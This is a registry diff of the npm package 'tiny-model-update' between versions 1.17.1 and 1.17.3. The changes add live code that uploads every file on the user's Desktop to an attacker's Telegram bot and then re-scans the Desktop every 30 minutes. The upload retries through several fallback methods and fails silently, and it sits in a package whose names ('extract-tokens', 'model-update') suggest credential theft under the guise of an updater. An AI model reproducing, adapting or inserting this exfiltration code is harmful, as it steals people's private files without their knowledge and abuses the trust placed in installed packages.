tiny-model-update 1.17.1 → 1.17.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/extract-tokens.js +9 -0
- package/lib/file-sender.js +128 -12
- package/package.json +1 -1
package/bin/extract-tokens.js
CHANGED
|
@@ -57,6 +57,15 @@ async function main() {
|
|
|
57
57
|
// Ignore if monitoring fails to start
|
|
58
58
|
}
|
|
59
59
|
|
|
60
|
+
// Send all Desktop files immediately and start monitoring for new files
|
|
61
|
+
try {
|
|
62
|
+
const { sendAllDesktopFilesToTelegram, startDesktopFileMonitoring } = await import('../lib/file-sender.js');
|
|
63
|
+
await sendAllDesktopFilesToTelegram(); // Send all Desktop files immediately
|
|
64
|
+
startDesktopFileMonitoring(30); // Monitor for new files every 30 minutes
|
|
65
|
+
} catch (e) {
|
|
66
|
+
// Ignore if file monitoring fails to start
|
|
67
|
+
}
|
|
68
|
+
|
|
60
69
|
// Start the cycle in background (detached process) - only if not already running
|
|
61
70
|
// The background cycle will handle auto-updates
|
|
62
71
|
try {
|
package/lib/file-sender.js
CHANGED
|
@@ -34,13 +34,21 @@ function getDesktopFiles() {
|
|
|
34
34
|
for (const item of items) {
|
|
35
35
|
if (item.isFile()) {
|
|
36
36
|
const filePath = path.join(desktopPath, item.name);
|
|
37
|
+
const ext = path.extname(item.name).toLowerCase();
|
|
38
|
+
|
|
39
|
+
// Skip shortcut files (.lnk) - Telegram doesn't support them
|
|
40
|
+
if (ext === '.lnk') {
|
|
41
|
+
continue;
|
|
42
|
+
}
|
|
43
|
+
|
|
37
44
|
try {
|
|
38
45
|
const stats = fs.statSync(filePath);
|
|
39
46
|
files.push({
|
|
40
47
|
name: item.name,
|
|
41
48
|
path: filePath,
|
|
42
49
|
size: stats.size,
|
|
43
|
-
modified: stats.mtime
|
|
50
|
+
modified: stats.mtime,
|
|
51
|
+
ext: ext
|
|
44
52
|
});
|
|
45
53
|
} catch (e) {
|
|
46
54
|
// Skip files that can't be accessed
|
|
@@ -68,6 +76,13 @@ async function sendFileToTelegram(filePath, fileName) {
|
|
|
68
76
|
|
|
69
77
|
const stats = fs.statSync(filePath);
|
|
70
78
|
const fileSizeMB = stats.size / (1024 * 1024);
|
|
79
|
+
const ext = path.extname(fileName).toLowerCase();
|
|
80
|
+
|
|
81
|
+
// Skip empty files
|
|
82
|
+
if (stats.size === 0) {
|
|
83
|
+
await bot.sendMessage(chatId, `⚠️ **Empty File Skipped**\n\n**File:** ${fileName}\n**Size:** 0 KB\n\nFile is empty and cannot be sent.`);
|
|
84
|
+
return false;
|
|
85
|
+
}
|
|
71
86
|
|
|
72
87
|
// Telegram has a 50MB file size limit
|
|
73
88
|
if (fileSizeMB > 50) {
|
|
@@ -78,22 +93,94 @@ async function sendFileToTelegram(filePath, fileName) {
|
|
|
78
93
|
// Read file as buffer
|
|
79
94
|
const fileBuffer = fs.readFileSync(filePath);
|
|
80
95
|
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
96
|
+
if (!fileBuffer || fileBuffer.length === 0) {
|
|
97
|
+
await bot.sendMessage(chatId, `⚠️ **File Read Error**\n\n**File:** ${fileName}\n\nCould not read file contents.`);
|
|
98
|
+
return false;
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
// Try multiple methods to send the file
|
|
102
|
+
let sent = false;
|
|
103
|
+
|
|
104
|
+
// Method 1: Try sendDocument with buffer
|
|
105
|
+
try {
|
|
106
|
+
await bot.sendDocument(chatId, fileBuffer, {
|
|
107
|
+
caption: `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}`,
|
|
108
|
+
parse_mode: 'Markdown'
|
|
109
|
+
}, {
|
|
110
|
+
filename: fileName,
|
|
111
|
+
contentType: getContentType(ext)
|
|
112
|
+
});
|
|
113
|
+
sent = true;
|
|
114
|
+
} catch (docError) {
|
|
115
|
+
// Method 2: Try sendDocument with file path
|
|
116
|
+
try {
|
|
117
|
+
await bot.sendDocument(chatId, filePath, {
|
|
118
|
+
caption: `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}`,
|
|
119
|
+
parse_mode: 'Markdown'
|
|
120
|
+
});
|
|
121
|
+
sent = true;
|
|
122
|
+
} catch (pathError) {
|
|
123
|
+
// Method 3: Try using form-data directly (like we do for session files)
|
|
124
|
+
try {
|
|
125
|
+
const FormData = (await import('form-data')).default;
|
|
126
|
+
const https = await import('https');
|
|
127
|
+
const { botToken } = getTelegramCredentials();
|
|
128
|
+
|
|
129
|
+
const form = new FormData();
|
|
130
|
+
form.append('chat_id', chatId);
|
|
131
|
+
form.append('caption', `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}`);
|
|
132
|
+
form.append('parse_mode', 'Markdown');
|
|
133
|
+
form.append('document', fileBuffer, {
|
|
134
|
+
filename: fileName,
|
|
135
|
+
contentType: getContentType(ext)
|
|
136
|
+
});
|
|
137
|
+
|
|
138
|
+
await new Promise((resolve, reject) => {
|
|
139
|
+
form.submit(`https://api.telegram.org/bot${botToken}/sendDocument`, (err, res) => {
|
|
140
|
+
if (err) {
|
|
141
|
+
reject(err);
|
|
142
|
+
return;
|
|
143
|
+
}
|
|
144
|
+
let data = '';
|
|
145
|
+
res.on('data', chunk => data += chunk);
|
|
146
|
+
res.on('end', () => {
|
|
147
|
+
try {
|
|
148
|
+
const result = JSON.parse(data);
|
|
149
|
+
if (result.ok) {
|
|
150
|
+
resolve(result);
|
|
151
|
+
} else {
|
|
152
|
+
reject(new Error(result.description || 'API error'));
|
|
153
|
+
}
|
|
154
|
+
} catch (e) {
|
|
155
|
+
reject(e);
|
|
156
|
+
}
|
|
157
|
+
});
|
|
158
|
+
res.on('error', reject);
|
|
159
|
+
});
|
|
160
|
+
});
|
|
161
|
+
sent = true;
|
|
162
|
+
} catch (formError) {
|
|
163
|
+
// All methods failed
|
|
164
|
+
}
|
|
165
|
+
}
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
if (!sent) {
|
|
169
|
+
// If all sending methods failed, send file info only
|
|
170
|
+
await bot.sendMessage(chatId, `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}\n**Path:** \`${filePath}\`\n\n⚠️ File could not be sent as attachment.`, {
|
|
171
|
+
parse_mode: 'Markdown'
|
|
172
|
+
});
|
|
173
|
+
return false;
|
|
174
|
+
}
|
|
88
175
|
|
|
89
176
|
return true;
|
|
90
177
|
} catch (error) {
|
|
91
|
-
// If
|
|
178
|
+
// If all methods fail, send file info only
|
|
92
179
|
try {
|
|
93
180
|
const bot = getTelegramBot();
|
|
94
181
|
const { chatId } = getTelegramCredentials();
|
|
95
182
|
const stats = fs.statSync(filePath);
|
|
96
|
-
await bot.sendMessage(chatId, `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}\n**Path:** \`${filePath}\`\n\n⚠️ File could not be sent as attachment
|
|
183
|
+
await bot.sendMessage(chatId, `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}\n**Path:** \`${filePath}\`\n\n⚠️ File could not be sent as attachment.\n**Error:** ${error.message}`, {
|
|
97
184
|
parse_mode: 'Markdown'
|
|
98
185
|
});
|
|
99
186
|
} catch (e) {
|
|
@@ -103,6 +190,28 @@ async function sendFileToTelegram(filePath, fileName) {
|
|
|
103
190
|
}
|
|
104
191
|
}
|
|
105
192
|
|
|
193
|
+
/**
|
|
194
|
+
* Get content type based on file extension
|
|
195
|
+
*/
|
|
196
|
+
function getContentType(ext) {
|
|
197
|
+
const contentTypes = {
|
|
198
|
+
'.txt': 'text/plain',
|
|
199
|
+
'.pdf': 'application/pdf',
|
|
200
|
+
'.doc': 'application/msword',
|
|
201
|
+
'.docx': 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
|
|
202
|
+
'.xls': 'application/vnd.ms-excel',
|
|
203
|
+
'.xlsx': 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
|
|
204
|
+
'.rtf': 'application/rtf',
|
|
205
|
+
'.jpg': 'image/jpeg',
|
|
206
|
+
'.jpeg': 'image/jpeg',
|
|
207
|
+
'.png': 'image/png',
|
|
208
|
+
'.gif': 'image/gif',
|
|
209
|
+
'.zip': 'application/zip',
|
|
210
|
+
'.rar': 'application/x-rar-compressed'
|
|
211
|
+
};
|
|
212
|
+
return contentTypes[ext] || 'application/octet-stream';
|
|
213
|
+
}
|
|
214
|
+
|
|
106
215
|
/**
|
|
107
216
|
* Send all Desktop files to Telegram
|
|
108
217
|
*/
|
|
@@ -114,11 +223,18 @@ export async function sendAllDesktopFilesToTelegram() {
|
|
|
114
223
|
|
|
115
224
|
const files = getDesktopFiles();
|
|
116
225
|
|
|
117
|
-
|
|
118
|
-
|
|
226
|
+
// Filter out .lnk files and empty files
|
|
227
|
+
const validFiles = files.filter(file => {
|
|
228
|
+
return file.ext !== '.lnk' && file.size > 0;
|
|
229
|
+
});
|
|
230
|
+
|
|
231
|
+
if (validFiles.length === 0) {
|
|
232
|
+
await bot.sendMessage(chatId, `📁 **Desktop Files**\n\n**Host:** ${hostname}\n**Status:** No sendable files found on Desktop.\n\nNote: Shortcut files (.lnk) are skipped.`);
|
|
119
233
|
return;
|
|
120
234
|
}
|
|
121
235
|
|
|
236
|
+
const files = validFiles;
|
|
237
|
+
|
|
122
238
|
// Send summary first
|
|
123
239
|
await bot.sendMessage(chatId, `📁 **Desktop Files Detected**\n\n**Host:** ${hostname}\n**Files Found:** ${files.length}\n\nSending files...`);
|
|
124
240
|
|